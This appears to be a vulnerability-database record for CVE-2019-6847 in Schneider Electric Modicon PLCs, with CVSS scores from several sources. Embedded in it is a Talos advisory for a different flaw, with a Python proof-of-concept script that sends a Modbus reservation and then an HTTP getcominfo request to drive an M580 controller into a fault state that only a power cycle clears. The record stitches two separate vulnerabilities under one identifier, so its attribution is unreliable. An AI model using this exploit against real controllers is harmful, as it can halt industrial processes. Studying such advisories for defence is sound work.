var-201910-0580
Vulnerability from variot
A CWE-755: Improper Handling of Exceptional Conditions vulnerability exists in Modicon M580, Modicon M340, Modicon BMxCRA and 140CRA modules (all firmware versions), which could cause a Denial of Service attack on the FTP service when upgrading the firmware with a version incompatible with the application in the controller using FTP protocol. plural Modicon The product contains an exceptional condition handling vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. The Modicon M580/M340/BMxCRA/140CRA are programmable logic controllers from Schneider Electric.
A denial of service vulnerability exists in the Schneider Electric Modicon M580/M340/BMxCRA/140CRA
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A specially crafted HTTP request can cause the device to enter a non-recoverable fault state , resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability. Tested Versions Schneider Electric Modicon M580 BMEP582040 SV2.80 Product URLs https://www.schneider-electric.com/en/work/campaign/m580-epac/ CVSSv3 Score 8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H CWE CWE-248: Uncaught Exception Details The Modicon M580 is the latest in Schneider Electric\u0027s Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP , TFTP , HTTP , SNMP , EtherNet/IP , Modbus , and a management protocol referred to as UMAS. A REST API that allows clients to interact with various pieces of functionality on the device is on the web server , including viewing alarms , querying rack information , and performing select UMAS requests. It is possible to read the registered name of the client holding a PLC reservation by leveraging the /rest/umas/getcominfo UMAS endpoint. In cases where a client has obtained a reservation using a registered name of at least 0x34 bytes , a request to the getcominfo endpoint will sometimes cause the device to enter a non-recoverable fault state. In cases where the fault state does not occur , the HTTP server will become unresponsive. In the non-recoverable fault state , the CPU has entered an error mode where all remote communications have been stopped , process logic stops execution , and the device requires a physical power cycle to regain functionality. Exploit Proof of Concept import structimport socketimport requestsimport random# set up static datarhost = 192.168.10.1rport = 502verbose = Truedef main(): s = socket.socket(socket.AF_INET , socket.SOCK_STREAM) s.connect((rhost , rport)) clientname = A*255 clientnameLen = struct.pack(B , len(clientname)) mbapLen = struct.pack(\u003eH , len(clientname) + 9) transid = struct.pack(\u003eH , random.randint(1 , 255)) msg = {}x00x00{}x00x5ax00x10x3bx0ex00x00{}{}.format(transid , mbapLen , clientnameLen , clientname) s.send(msg) try: uri = http://{}/rest/umas/getcominfo.format(rhost) resp = requests.get(uri , timeout=5) except requests.exceptions.ReadTimeout: print([*] Request timed out. This usually indicates a device fault) except KeyboardInterrupt: print([*] Exiting...) s.close()if __name__ == \u0027__main__\u0027: main() Timeline 2019-06-21 - Vendor Disclosure 2019-08-29 - Vendor requested to reject issue 2019-09-03 - Talos provided additional feedback to substantiate vulnerability 2019-09-20 - Vendor acknowledged issue as vulnerability \u0026 advised plan for October 2019 disclosure 2019-10-08 - Public Release Credit Discovered by Jared Rittle of Cisco Talos,Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos", "sources": [ { "db": "CNNVD", "id": "CNNVD-201910-395" } ], "trust": 0.6 }, "cve": "CVE-2019-6847", "cvss": { "@context": { "cvssV2": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" }, "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2" }, "cvssV3": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" }, "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/" }, "severity": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" }, "@id": "https://www.variotdbs.pl/ref/cvss/severity" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" }, "@id": "https://www.variotdbs.pl/ref/sources" } }, "data": [ { "cvssV2": [ { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "author": "nvd@nist.gov", "availabilityImpact": "PARTIAL", "baseScore": 4.0, "confidentialityImpact": "NONE", "exploitabilityScore": 8.0, "id": "CVE-2019-6847", "impactScore": 2.9, "integrityImpact": "NONE", "severity": "MEDIUM", "trust": 1.8, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0" }, { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "author": "CNVD", "availabilityImpact": "PARTIAL", "baseScore": 4.0, "confidentialityImpact": "NONE", "exploitabilityScore": 8.0, "id": "CNVD-2019-41494", "impactScore": 2.9, "integrityImpact": "NONE", "severity": "MEDIUM", "trust": 0.6, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0" }, { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "author": "IVD", "availabilityImpact": "PARTIAL", "baseScore": 4.0, "confidentialityImpact": "NONE", "exploitabilityScore": 8.0, "id": "fdfc7aaf-7b5b-40b9-9299-e58b8cb8fa2a", "impactScore": 2.9, "integrityImpact": "NONE", "severity": "MEDIUM", "trust": 0.2, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.9 [IVD]" } ], "cvssV3": [ { "attackComplexity": "LOW", "attackVector": "NETWORK", "author": "nvd@nist.gov", "availabilityImpact": "HIGH", "baseScore": 4.9, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "exploitabilityScore": 1.2, "id": "CVE-2019-6847", "impactScore": 3.6, "integrityImpact": "NONE", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "trust": 1.0, "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, { "attackComplexity": "Low", "attackVector": "Network", "author": "NVD", "availabilityImpact": "High", "baseScore": 4.9, "baseSeverity": "Medium", "confidentialityImpact": "None", "exploitabilityScore": null, "id": "CVE-2019-6847", "impactScore": null, "integrityImpact": "None", "privilegesRequired": "High", "scope": "Unchanged", "trust": 0.8, "userInteraction": "None", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "version": "3.0" } ], "severity": [ { "author": "nvd@nist.gov", "id": "CVE-2019-6847", "trust": 1.0, "value": "MEDIUM" }, { "author": "NVD", "id": "CVE-2019-6847", "trust": 0.8, "value": "Medium" }, { "author": "CNVD", "id": "CNVD-2019-41494", "trust": 0.6, "value": "MEDIUM" }, { "author": "CNNVD", "id": "CNNVD-201910-395", "trust": 0.6, "value": "MEDIUM" }, { "author": "IVD", "id": "fdfc7aaf-7b5b-40b9-9299-e58b8cb8fa2a", "trust": 0.2, "value": "MEDIUM" } ] } ], "sources": [ { "db": "IVD", "id": "fdfc7aaf-7b5b-40b9-9299-e58b8cb8fa2a" }, { "db": "CNVD", "id": "CNVD-2019-41494" }, { "db": "JVNDB", "id": "JVNDB-2019-011436" }, { "db": "CNNVD", "id": "CNNVD-201910-395" }, { "db": "NVD", "id": "CVE-2019-6847" } ] }, "description": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "A CWE-755: Improper Handling of Exceptional Conditions vulnerability exists in Modicon M580, Modicon M340, Modicon BMxCRA and 140CRA modules (all firmware versions), which could cause a Denial of Service attack on the FTP service when upgrading the firmware with a version incompatible with the application in the controller using FTP protocol. plural Modicon The product contains an exceptional condition handling vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. 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